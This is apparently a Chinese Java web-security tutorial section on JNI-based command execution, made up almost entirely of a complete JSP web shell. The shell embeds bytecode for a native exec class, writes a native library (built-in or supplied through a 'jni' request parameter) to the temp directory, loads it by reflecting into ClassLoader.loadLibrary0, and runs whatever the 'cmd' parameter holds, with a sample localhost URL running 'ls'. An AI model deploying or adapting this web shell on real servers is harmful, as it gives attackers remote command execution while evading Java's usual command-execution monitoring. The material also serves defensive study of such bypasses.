JNI攻击

Java语言是基于C语言实现的，Java底层的很多API都是通过JNI(Java Native Interface)来实现的。通过JNI接口C/C++和Java可以互相调用(存在跨平台问题)。Java可以通过JNI调用来弥补语言自身的不足(代码安全性、内存操作等)。

JNI是一种比较特殊的方式，如果能够利用效果等同于绕过Java 命令执行API。

  1. <%@ page contentType="text/html;charset=UTF-8" language="java" %>
  2. <%@ page import="java.io.File" %>
  3. <%@ page import="java.io.FileOutputStream" %>
  4. <%@ page import="java.io.IOException" %>
  5. <%@ page import="java.lang.reflect.Method" %>
  6. <%-- load_library_cmd_all.jsp?cmd=ls --%>
  7. <%-- 通过JNI的方式调用动态链接库, 反射调用 ClassLoader 的 loadLibrary0 方法进行加载 --%>
  8. <%!
  9.     private static final String COMMAND_CLASS_NAME = "com.anbai.sec.cmd.CommandExecution";
  11.     /**
  12.      * JDK1.5编译的com.anbai.sec.cmd.CommandExecution类字节码,
  13.      * 只有一个public static native String exec(String cmd);的方法
  14.      */
  15.     private static final byte[] COMMAND_CLASS_BYTES = new byte[]{
  16.             -54, -2, -70, -66, 0, 0, 0, 49, 0, 15, 10, 0, 3, 0, 12, 7, 0, 13, 7, 0, 14, 1,
  17.             0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100,
  18.             101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108,
  19.             101, 1, 0, 4, 101, 120, 101, 99, 1, 0, 38, 40, 76, 106, 97, 118, 97, 47, 108, 97,
  20.             110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108,
  21.             97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 10, 83, 111, 117, 114,
  22.             99, 101, 70, 105, 108, 101, 1, 0, 21, 67, 111, 109, 109, 97, 110, 100, 69, 120,
  23.             101, 99, 117, 116, 105, 111, 110, 46, 106, 97, 118, 97, 12, 0, 4, 0, 5, 1, 0, 34,
  24.             99, 111, 109, 47, 97, 110, 98, 97, 105, 47, 115, 101, 99, 47, 99, 109, 100, 47, 67,
  25.             111, 109, 109, 97, 110, 100, 69, 120, 101, 99, 117, 116, 105, 111, 110, 1, 0, 16,
  26.             106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 0, 33, 0,
  27.             2, 0, 3, 0, 0, 0, 0, 0, 2, 0, 1, 0, 4, 0, 5, 0, 1, 0, 6, 0, 0, 0, 29, 0, 1, 0, 1,
  28.             0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 1, 0, 7, 0, 0, 0, 6, 0, 1, 0, 0, 0, 7, 1,
  29.             9, 0, 8, 0, 9, 0, 0, 0, 1, 0, 10, 0, 0, 0, 2, 0, 11
  30.     };
  32.     /**
  33.      * 获取JNI链接库目录
  34.      * @return 返回缓存JNI的临时目录
  35.      */
  36.     File getTempJNILibFile() {
  37.         File jniDir = new File(System.getProperty("java.io.tmpdir"), "jni-lib");
  39.         if (!jniDir.exists()) {
  40.             jniDir.mkdir();
  41.         }
  43.         String filename;
  45.         if (isWin()) {
  46.             filename = "cmd.dll";
  47.         } else {
  48.             if (isMac()) {
  49.                 filename = "libcmd.lib";
  50.             } else {
  51.                 filename = "libcmd.so";
  52.             }
  53.         }
  56.         return new File(jniDir, filename);
  57.     }
  60.     boolean isWin() {
  61.         return (System.getProperty("os.name") != null && System.getProperty("os.name").startsWith("Win"));
  62.     }
  64.     boolean isWin32() {
  65.         return "32".equals(System.getProperty("sun.arch.data.model"));
  66.     }
  68.     boolean isMac() {
  69.         return (System.getProperty("os.name") != null && System.getProperty("os.name").startsWith("Mac"));
  70.     }
  73.     /**
  74.      * 高版本JDKsun.misc.BASE64Decoder已经被移除，低版本JDK又没有java.util.Base64对象，
  75.      * 所以还不如直接反射自动找这两个类，哪个存在就用那个decode。
  76.      * @param str
  77.      * @return
  78.      */
  79.     byte[] base64Decode(String str) {
  80.         try {
  81.             try {
  82.                 Class clazz = Class.forName("sun.misc.BASE64Decoder");
  83.                 return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
  84.             } catch (ClassNotFoundException e) {
  85.                 Class  clazz   = Class.forName("java.util.Base64");
  86.                 Object decoder = clazz.getMethod("getDecoder").invoke(null);
  87.                 return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
  88.             }
  89.         } catch (Exception e) {
  90.             return null;
  91.         }
  92.     }
  94.     /**
  95.      * 写JNI链接库文件
  96.      * @param base64 JNI动态库Base64
  97.      * @return 返回是否写入成功
  98.      */
  99.     void writeJNILibFile(String base64) throws IOException {
  100.         if (base64 != null) {
  101.             File jniFile = getTempJNILibFile();
  103.             if (!jniFile.exists()) {
  104.                 byte[] bytes = base64Decode(base64);
  106.                 if (bytes != null) {
  107.                     FileOutputStream fos = new FileOutputStream(jniFile);
  108.                     fos.write(bytes);
  109.                     fos.flush();
  110.                     fos.close();
  111.                 }
  112.             }
  113.         }
  114.     }
  115. %>
  116. <%
  117.     String cmd = request.getParameter("cmd");
  118.     String jniBytes = request.getParameter("jni");
  121.     String COMMAND_JNI_FILE_BYTES;
  122.     if (isWin()) {
  123.         if (isWin32()) {
  124.             // windows 32
  125.             COMMAND_JNI_FILE_BYTES = "省略具体的Base64编码信息，请参考javaweb-sec/javaweb-sec-source/javasec-test/javasec-vuls-struts2/src/main/webapp/modules/jni/loadlibrary.jsp";
  126.         } else {
  127.             // windows 64
  128.             COMMAND_JNI_FILE_BYTES = "省略具体的Base64编码信息，请参考javaweb-sec/javaweb-sec-source/javasec-test/javasec-vuls-struts2/src/main/webapp/modules/jni/loadlibrary.jsp";
  129.         }
  130.     } else {
  131.         if (isMac()) {
  132.             // mac
  133.             COMMAND_JNI_FILE_BYTES = "省略具体的Base64编码信息，请参考javaweb-sec/javaweb-sec-source/javasec-test/javasec-vuls-struts2/src/main/webapp/modules/jni/loadlibrary.jsp";
  134.         } else {
  135.             // centos 7 64
  136.             COMMAND_JNI_FILE_BYTES = "省略具体的Base64编码信息，请参考javaweb-sec/javaweb-sec-source/javasec-test/javasec-vuls-struts2/src/main/webapp/modules/jni/loadlibrary.jsp";
  137.         }
  138.     }
  141.     // JNI路径
  142.     File jniFile = getTempJNILibFile();
  143.     ClassLoader loader = (ClassLoader) application.getAttribute("__LOADER__");
  145.     if (loader == null) {
  146.         loader = new ClassLoader(this.getClass().getClassLoader()) {
  147.             @Override
  148.             protected Class<?> findClass(String name) throws ClassNotFoundException {
  149.                 try {
  150.                     return super.findClass(name);
  151.                 } catch (ClassNotFoundException e) {
  152.                     return defineClass(COMMAND_CLASS_NAME, COMMAND_CLASS_BYTES, 0, COMMAND_CLASS_BYTES.length);
  153.                 }
  154.             }
  155.         };
  157.         writeJNILibFile(jniBytes != null ? jniBytes : COMMAND_JNI_FILE_BYTES);// 写JNI文件到临时文件目录
  159.         application.setAttribute("__LOADER__", loader);
  160.     }
  162.     try {
  163.         // load命令执行类
  164.         Class  commandClass = loader.loadClass("com.anbai.sec.cmd.CommandExecution");
  165.         Object loadLib      = application.getAttribute("__LOAD_LIB__");
  167.         if (loadLib == null || !((Boolean) loadLib)) {
  168.             Method loadLibrary0Method = ClassLoader.class.getDeclaredMethod("loadLibrary0", Class.class, File.class);
  169.             loadLibrary0Method.setAccessible(true);
  170.             loadLibrary0Method.invoke(loader, commandClass, jniFile);
  171.             application.setAttribute("__LOAD_LIB__", true);
  172.         }
  174.         String content = (String) commandClass.getMethod("exec", String.class).invoke(null, cmd);
  175.         out.println("<pre>");
  176.         out.println(content);
  177.         out.println("</pre>");
  178.     } catch (Exception e) {
  179.         out.println(e.toString());
  180.         throw e;
  181.     }
  183. %>

访问：http://localhost:8000/modules/jni/loadlibrary.jsp?cmd=ls，如下图：

image-20200920234706459